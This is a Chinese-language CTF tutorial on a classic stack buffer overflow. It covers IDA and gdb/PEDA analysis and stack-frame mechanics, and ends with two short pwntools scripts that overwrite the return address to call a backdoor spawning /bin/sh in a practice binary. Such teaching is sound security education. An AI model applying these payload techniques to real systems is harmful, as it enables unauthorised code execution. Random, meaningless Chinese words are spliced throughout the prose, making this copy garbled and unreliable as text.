”P(pán)wn”是一個(gè)黑客語(yǔ)法的俚語(yǔ)詞 忘朝,是指攻破設(shè)備或者系統(tǒng) 灰署。發(fā)音類(lèi)似“砰”,對(duì)黑客而言局嘁,這就是成功實(shí)施黑客攻擊的聲音——砰的一聲溉箕,被“黑”的電腦或手機(jī)就被你操縱。以上是從百度百科上面抄的簡(jiǎn)介悦昵,而我個(gè)人理解的話(huà)肴茄,應(yīng)該就是向目標(biāo)發(fā)送特定的數(shù)據(jù),使得其執(zhí)行本來(lái)不會(huì)執(zhí)行的代碼但指,前段時(shí)間爆發(fā)的永恒之藍(lán)等病毒其實(shí)也算得上是pwn的一種寡痰。
1. 準(zhǔn)備階段
這里介紹一些在接下來(lái)的教程中用到的工具
ida——交互式反匯編器專(zhuān)業(yè)版(Interactive Disassembler Professional)抗楔,人們常稱(chēng)其為IDA Pro,或簡(jiǎn)稱(chēng)為IDA拦坠。是目前最棒的一個(gè)靜態(tài)反編譯軟件
peda——PEDA是Long Le在Blackhat2012黑帽會(huì)議中放出的Python腳本工具连躏,它可以輔助黑客編寫(xiě)EXP,可以運(yùn)行在Unix/linux系統(tǒng)上贞滨。
gdb——UNIX及UNIX-like下的調(diào)試工具
pwntools——pwntools是一個(gè)CTF框架和漏洞利用開(kāi)發(fā)庫(kù)入热,用Python開(kāi)發(fā),由rapid設(shè)計(jì)晓铆,旨在讓使用者簡(jiǎn)單快速的編寫(xiě)exploit勺良。
這些軟件的安裝教程都可以在百度或者谷歌搜索得到,這里就不一一介紹了
2. 初步分析
點(diǎn)擊此處下載例子
首先我們用ida打開(kāi)這個(gè)文件
在左邊的列表找到main函數(shù)尤蒿,雙擊郑气,
可以看到main函數(shù)的內(nèi)容
然后點(diǎn)擊右邊的匯編代碼,按下Tab或者F5腰池,可以看到匯編代碼翻譯成了c語(yǔ)言
再雙擊vulnerable_function
可以看到,這個(gè)函數(shù)非常簡(jiǎn)單忙芒,只是單純的讀取一串字符示弓,然后儲(chǔ)存到buf里面
但是
開(kāi)辟的緩存區(qū)只有0x48個(gè)字節(jié)大小,但是read最多可以讀取0x100個(gè)字節(jié)呵萨,這樣就會(huì)造成緩存區(qū)溢出奏属。
那知道了有緩存區(qū)溢出,我們究竟要怎么利用呢潮峦?
不用著急囱皿,接下來(lái)我會(huì)詳細(xì)的介紹如何利用。
3.原理解釋
首先忱嘹,我們引入棧幀的概念嘱腥。(知道棧幀的可以跳過(guò)這一部分)
平時(shí),我們寫(xiě)c / c++ 代碼的時(shí)候經(jīng)常會(huì)用到函數(shù)拘悦,那究竟函數(shù)在底層如何實(shí)現(xiàn)呢齿兔?
就拿我們上面那個(gè)文件來(lái)說(shuō),在main函數(shù)那里础米,調(diào)用了vulnerable_function
在匯編代碼下面是這樣的
那么call 這個(gè)指令做了什么呢分苇?
具體是
(1)將當(dāng)前的EIP壓入棧中(EIP寄存器存放下一個(gè)CPU指令存放的內(nèi)存地址)
(2)轉(zhuǎn)移
還沒(méi)執(zhí)行call 時(shí)程序的內(nèi)存如下圖
esp:寄存器存放當(dāng)前線(xiàn)程的棧頂指針
ebp:寄存器存放當(dāng)前線(xiàn)程的棧底指針
執(zhí)行call之后的內(nèi)存如下圖
這里的0x0000067A是call? ? vulnerable_function的下一條指令儲(chǔ)存的位置
然后下一步就是執(zhí)行vulnerable_function里面的內(nèi)容
首先是
push ebp,把main函數(shù)的棧底指針壓入棧
然后
mov ebp,esp , ?把esp的內(nèi)容傳送到ebp那里 (實(shí)在不知道怎么描述屁桑。医寿。。)
push? ? ebx ?蘑斧,把ebx壓入棧
sub? ? esp, 44h ?靖秩,把esp減去0x44艾帐,實(shí)際上是開(kāi)辟緩存區(qū)
call? ? __x86_get_pc_thunk_ax
add? ? eax, 19D9h ? 這兩個(gè)指令暫時(shí)先無(wú)視
sub? ? esp, 4 和上面一樣
執(zhí)行完這些命令后,內(nèi)存如下圖
假設(shè)程序正常運(yùn)行盆偿,執(zhí)行到
還記得上面函數(shù)開(kāi)始的時(shí)候那幾個(gè)壓棧操作嗎柒爸,這里就是把東西從棧中還原
mov? ? ebx, [ebp+var_4] 這句就不解釋了,很簡(jiǎn)單
leave 事扭,這個(gè)指令等價(jià)于 mov esp,ebp 捎稚,pop esp,
執(zhí)行到這里再看一下內(nèi)存
然后下一條指令就是ret求橄,等價(jià)于pop eip今野,也就是執(zhí)行完pop eip之后,下一步就是執(zhí)行0x0000067F處的代碼
最后返回main函數(shù)之后就變成
跟call vulnerable_function之前的內(nèi)存狀態(tài)一模一樣
這里為了避免誤會(huì)罐农,特地說(shuō)一下条霜,圖上的main函數(shù)還有vulnerable_function的棧幀其實(shí)也算是棧的一部分!:鳌宰睡!
4.實(shí)戰(zhàn)開(kāi)始
解釋完函數(shù)的調(diào)用過(guò)程之后,我們回到正題
在ida左邊的函數(shù)列表中气筋,我們可以找到
一個(gè)后門(mén)函數(shù)拆内,會(huì)執(zhí)行system("/bin/sh");
這個(gè)函數(shù)的開(kāi)始地址為0x00005F0
我們的目的就是利用棧溢出,控制程序運(yùn)行這一個(gè)函數(shù)
接下來(lái)跟著我一步一步做
首先把程序放到linux下面宠默,然后打開(kāi)控制臺(tái)麸恍,輸入gdb ./tutorial1 (或者gdb ?tutorial1的位置)
這里默認(rèn)已經(jīng)安裝好了準(zhǔn)備階段所說(shuō)的插件或者軟件
然后輸入pattern_create 150
會(huì)顯示類(lèi)似下圖
然后把除了開(kāi)頭和結(jié)尾的引號(hào)的所有內(nèi)容復(fù)制
然后輸入 r,把剛才復(fù)制的內(nèi)容粘貼進(jìn)去
再回車(chē)
然后就會(huì)變成類(lèi)似下圖的狀況
這個(gè)時(shí)候你一定很想吐槽搀矫,這里的Program received signal SIGSEGV (fault address 0x41344141) 又是什么鬼抹沪,(手動(dòng)黑人問(wèn)號(hào)?瓤球?)
還記得我們上面原理解釋所說(shuō)的東西嗎融欧,這里的棧溢出其實(shí)就是把保存在棧中的 ebp ,ebx ,0x0000067F 全部給覆蓋掉,可以拉上一點(diǎn)冰垄,看一下寄存器的東西
EBP變成我們輸入的內(nèi)容了蹬癌,而這里的0x41344141其實(shí)就是覆蓋掉了0x0000067F,代碼指示說(shuō)執(zhí)行0x41344141處的代碼虹茶,但是系統(tǒng)說(shuō)臣妾做不到啊逝薪,0x41344141不知道什么鬼東西啊,我執(zhí)行不下去啊蝴罪,于是就發(fā)出哀號(hào)董济,然后我們就看到Program received signal SIGSEGV (fault address 0x41344141)了,這個(gè)時(shí)候要门,我們就相當(dāng)于用輸入的東西虏肾,控制了程序廓啊。
這時(shí)候在控制臺(tái)輸入pattern_offset 0x41344141
這樣,我們就可以快速得知封豪,esp到保存0x0000067F的地方一共有76個(gè)字節(jié)谴轮,所以我們只要輸入76個(gè)任意東西,再加上后門(mén)的地址吹埠,就可以控制程序執(zhí)行后門(mén)函數(shù)
新建一個(gè)python代碼文件第步,輸入下面的代碼,#后面的東西只是注釋?zhuān)梢圆惠斎?/p>
from pwn import *
p=process('./tutorial1') #打開(kāi)本地程序
ret_addr=0x800005F0 ?#后門(mén)地址缘琅,這里地址跟上文有些不同粘都,因?yàn)樵趇da中的地址和實(shí)際運(yùn)行的地址有稍微一些差別
payload='a'*76+p32(ret_addr) ?#76個(gè)a再加上后門(mén)地址
p.sendline(payload) ? #發(fā)送payload
p.interactive() ? #開(kāi)啟交互模式
p.close() ? ? ? ?#關(guān)閉
運(yùn)行這個(gè)python代碼,就可以看到出現(xiàn)了$號(hào)刷袍,輸入ls等命令也能成功執(zhí)行翩隧,一般的題目都會(huì)在本地放一個(gè)flag文件,cat flag.txt之后就可以得到flag
---------------------------------------------------我是分界線(xiàn)---------------------------------------------------------------------------------------------------------------
上面的附件可能有點(diǎn)問(wèn)題呻纹,在本地的話(huà)后門(mén)地址應(yīng)該會(huì)不同堆生,導(dǎo)致利用失敗
http://pan.baidu.com/s/1bQUoGI
這個(gè)附件應(yīng)該是可以正常pwn掉的,python代碼大體還是一致的居暖,只是改了下文件名顽频,后臺(tái)地址,還有緩沖區(qū)長(zhǎng)度
from pwn import *
p=process('./overflow_tmp')
back_addr=0x804846B
payload='a'*52+p32(back_addr)
p.sendline(payload)
p.interactive()
p.close()
整個(gè)教程到這里的結(jié)束了太闺,如有不妥之處請(qǐng)指正,謝謝